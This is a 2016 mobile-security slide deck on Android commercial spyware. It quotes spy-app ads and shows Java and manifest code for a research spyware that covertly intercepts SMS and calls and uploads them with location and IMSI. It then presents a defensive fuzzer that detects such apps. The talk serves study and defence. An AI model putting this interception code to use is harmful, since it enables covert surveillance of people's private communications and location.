Android Commercial Spyware

Disease and Medication

By

Eng. Mustafa Saad

Computer Engineer 2003
Mobile App Developer 2011
Mobile Security Researcher 2012
Udemy Premium Instructor 2014

March 2016
Agenda

- Introduction.
- Proposed Approach.
- How Commercial Spyware Works?
- Our Developed Spyware. “Chameleon Spyware Demo”
- Our Developed Anti-Spyware. “Droid Smart Fuzzer Demo”
- Spyware Dataset & results.
Introduction

What Is Commercial Spyware:

* Application sold worldwide for the primary purposes of spying on people, employees or monitoring children’s safety.

* Usually installed on the cell phone by physical access, direct web link, or repackaging attack.

* Most of these apps have the ability to hide their launcher icon from your screen.

* Most of these apps deliver Command and Control web page for monitoring victims.

* Commercial Spywares are not too expensive.
Introduction

Their Features Are Horrible:

So, What Cell Phone Spy Features Do I Get With HelloSpy

With HelloSpy, You have complete access and control of the cell phone you want to monitor and the best part is, the application is completely hidden and works in stealth mode. You literally have lots of exclusive features for you to monitor any cell phone remotely, online and invisibly. Below are some of the powerful features.

**Track Phone location**
Track your device quick and easily. Find out the current Location of their phone displayed on Google Map.

**Track WhatsApp Messages**
Allows you to track whatsapp messages without rooting cell phone.

**Track Viber Messages**
Show viber history, get all sent and received viber text messages.

**SMS tracking**
Read every sent and received text messages along with contents of target mobile.

**View call history**
Monitor incoming and outgoing calls.

**Monitor Internet Use**
See their complete web browsing history.

**See Photos Captured**
View all photos taken from the phone and received via any source.

**Access Phone Books**
See every mobile number that's registered on the memory of the phone

**Spy Call**
Call Recoding Android Cell Phone.

**Record Apps Usage**
Record Apps Usage

**Remotely Control**
All the Spied data can be viewed through an online Account.

**Auto upgrade**
You can upgrade to new version with new interesting features without fee.
Introduction

As Reported In:

- Google Android Security report.
- Lacoon research team report.
- ALCATEL-LUCENT mobile malware report.
- Joshua Dalman briefing on Black Hat USA 2015.

commercial spywares considered as:

Unofficial markets working out of Google magnifier.
Proposed Approach

Proposed approach to Catch Commercial spies was divided into two main parts:

* To deeply understand and discover the weak points on Android application layer, we have to develop a real spy application “Disease”.

* To medicate the previous disease, and stop the commercial spyware attacks we propose to develop a dynamic fuzz testing application “Medication”. 
How The Commercial Spy Works?

Android OS Architecture:

Application
- System Apps
- Developer Apps
- Third party Apps

Application Framework
- Telephony Manager
- Window manager
- Package Manager
- Window Manager
- Content Providers
- Activity manager
- Resource Manager
- Notification Manager
- Views
- NFC, WiFi, Bluetooth

Libraries
- Graphics
- Media
- Web Kit
- Android Libraries
- LibC
- SQLite
- Service Manager
- Dalvic Virtual Machine

Linux Kernel
- Memory Management
- Process Management
- Power Management
- Hardware Drivers (USB, WiFi, GPS, ..)
How The Commercial Spy Works?

Inter Process Communication (IPC) Endpoints:

- Manifest
- Activity
- Service
- Content Provider
- Broadcast Receivers
Chameleon Spyware

* The proposed spyware collaboration diagram:

- **Main Activity**
  - Received SMS Registered Receiver
  - Incoming Call Registered Receiver
  - Outgoing Call Registered Receiver
  - Connect To MySQL

MySQL DB
Chameleon Spyware

Receivers Registration:

```xml
<receiver android:name=".IncomingSMS">
    <intent-filter>
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
    </intent-filter>
</receiver>

<receiver android:name=".OutgoingCalls">
    <intent-filter>
        <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
    </intent-filter>
</receiver>

<receiver android:name=".IncomingCalls">
    <intent-filter>
        <action android:name="android.intent.action.Phone_STATE"/>
    </intent-filter>
</receiver>
```
Chameleon Spyware

Received SMSs Interception:

```java
@Override
public void onReceive(Context context, Intent intent) {
    Bundle bundle = intent.getExtras();
    if (bundle != null) {
        Object[] pduObj = (Object[]) bundle.get("pdu");
        for (int i = 0; i < pduObj.length; i++) {
            SmsMessage currentMsg = SmsMessage.createFromPdu((byte[]) pduObj[i]);
            senderNum = currentMsg.getDisplayOriginatingAddress();
            message = currentMsg.getDisplayMessageBody();
            long time = currentMsg.getTimestampMillis();
            Calendar calendar = Calendar.getInstance();
            calendar.setTimeInMillis(time);
            when = new Date(calendar.getTime().getTime());

            pref = context.getSharedPreferences("test", 0);
            imsi = pref.getLong("imsi", 0);
            new LongOp().execute();
        }
    }
}
```
Chameleon Spyware

Outgoing Calls Interception:

```java
@override
public void onReceive(Context context, Intent intent) {
    aController = Controller.getInstance();
    Bundle bundle = intent.getExtras();
    if (bundle != null)
    {
        getLocation(context);
        String phoneNumber = intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);
        aController.setCallType(1);
        aController.setPhoneNum(phoneNumber);
        aController.setLat(lat);
        aController.setLng(lng);
        aController.setImsi(context.getSharedPreferences("test", 0).getLong("imsi", 0));
        new LongOperationForLogs().execute();
    }
}
```
Chameleon Spyware

Incoming Calls Interception:

```java
@override
public void onReceive(Context context, Intent intent) {
    this.context = context;
    aController = Controller.getInstance();
    TelephonyManager tel = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
    tel.listen(new MyPhoneStateListener(), PhoneStateListener.LISTEN_CALL_STATE);
}
private class MyPhoneStateListener extends PhoneStateListener {
    @Override
    public void onCallStateChanged(int state, String incomingPhoneNumber) {
        super.onCallStateChanged(state, incomingPhoneNumber);
        if (state == 1) {
            getLocation(context);
            aController.setPhoneNumber(incomingPhoneNumber);
            aController.setCallType(2);
            aController.setLat(lat);
            aController.setLng(lng);
            aController.setImsi(context.getSharedPreferences("test", 0).getLong("imsi", 0));
            new LongOperationForLogs().execute();
        }
    }
```
Chameleon Spyware Demo
The main idea of the Droid Smart Fuzzer is to detect Internet usage unexpected behavior for the installed applications that have the next permissions:

1. RECEIVE SMS
2. PROCESS OUTGOING CALLS
3. READ PHONE STATE
4. INTERNET
The proposed anti spyware collaboration diagram:

- Reading All Installed App Permissions
- Filtering this Apps according to our permissions of interest
- Prepare the fuzzing injectors
- Monitoring AUT during fuzzing lifecycle
- Generate the pass/fail report

SMS Injector

Outgoing Call Injector

Incoming Call Injector

---

Droid Smart Fuzzer
Let’s “Detect The Undetectable”

SPY ON MULTIMEDIA
View multimedia data such as video recorded, voice

PHONE CALL RECORDING
MxSpy is the easiest way to record your phone including time and duration

RECORD SURROUNDINGS
If target devices have internet connection you can hear remotely with your computer.

100% UNDETECTABLE
Your relatives, your friends... cannot know if there is MxSpy installed on their devices...

AND MORE

Free Download Now
Buy Now
Droid Smart Fuzzer Demo
We tested DroidSmartFuzzer against top 15 commercial spyware applications and 4 free spy applications on Google & Amazon stores.

* Droid Smart Fuzzer succeeded to detect all of them.
Droid Smart Fuzzer succeeded to detect Privacy and Security Issues in Baidu Map like what mentioned in CITIZEN Lab report. *February 23, 2016*
Thank you

ARE THERE ANY QUESTIONS?